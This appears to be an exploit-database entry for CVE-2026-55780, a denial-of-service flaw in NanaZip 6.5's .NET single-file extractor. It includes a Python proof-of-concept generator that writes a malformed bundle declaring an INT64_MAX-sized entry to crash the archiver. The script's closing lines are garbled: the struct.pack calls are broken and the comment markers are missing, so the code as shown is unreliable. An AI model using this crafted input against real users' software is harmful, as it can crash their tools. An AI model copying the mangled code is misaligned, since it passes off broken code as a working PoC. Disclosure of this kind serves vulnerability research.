Exploit Title: NanaZip 6.5 - DoS

Date: 2026-07-17

Exploit Author: Pig-Tail (Jorge González Milla)

Vendor Homepage: https://github.com/M2Team/NanaZip

Software Link: https://github.com/M2Team/NanaZip/releases

Version: NanaZip <= 6.5 Preview (6.5.1742.0) (fixed 6.5.1749.0)

Tested on: Windows

CVE: CVE-2026-55780

Category: dos

Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-55780-NanaZip

A crafted .NET single-file bundle triggers an uncaught exception / unbounded allocation in the DotNetSingleFile handler's Extract().

NOTE: This PoC input was constructed by static analysis of the NanaZip.Codecs parser source

(NanaZip is Windows-only); it reaches the exact vulnerable line documented in the advisory but

was not executed against a running build. Benign — it only generates the malformed carrier file.

--- PoC generator (GHSA-ppm9-5267-rq72.py) ---

#!/usr/bin/env python3

PoC generator: uncaught exception / unbounded allocation in NanaZip's .NET

single-file Extract() (GHSA-ppm9-5267-rq72).

#

A 74-byte bundle: 'MZ' stub, the 32-byte .NET bundle signature at offset 10

preceded by an int64 bundle-header offset at offset 2, then a v1 header

declaring one embedded file with Size = INT64_MAX. Extracting that entry makes

DotNetSingleFile::Extract run std::vector(Size) with no try/catch

(NanaZip.Codecs.Archive.DotNetSingleFile.cpp:804); the allocation throws across

the COM boundary. (It also triggers the GetStream(Indices[i]) NULL-deref.)

import struct

SIG = bytes([

0x8b, 0x12, 0x02, 0xb9, 0x6a, 0x61, 0x20, 0x38,

0x72, 0x7b, 0x93, 0x02, 0x14, 0xd7, 0xa0, 0x32,

0x13, 0xf5, 0xb9, 0xe6, 0xef, 0xae, 0x33, 0x18,

0xee, 0x3b, 0x2d, 0xce, 0x24, 0xb3, 0x6a, 0xae,

])

HDR = 42 # bundle header offset

buf = bytearray(74)

buf[0:2] = b"MZ"

buf[2:10] = struct.pack("0)

struct.pack_into("", "poc.bundle")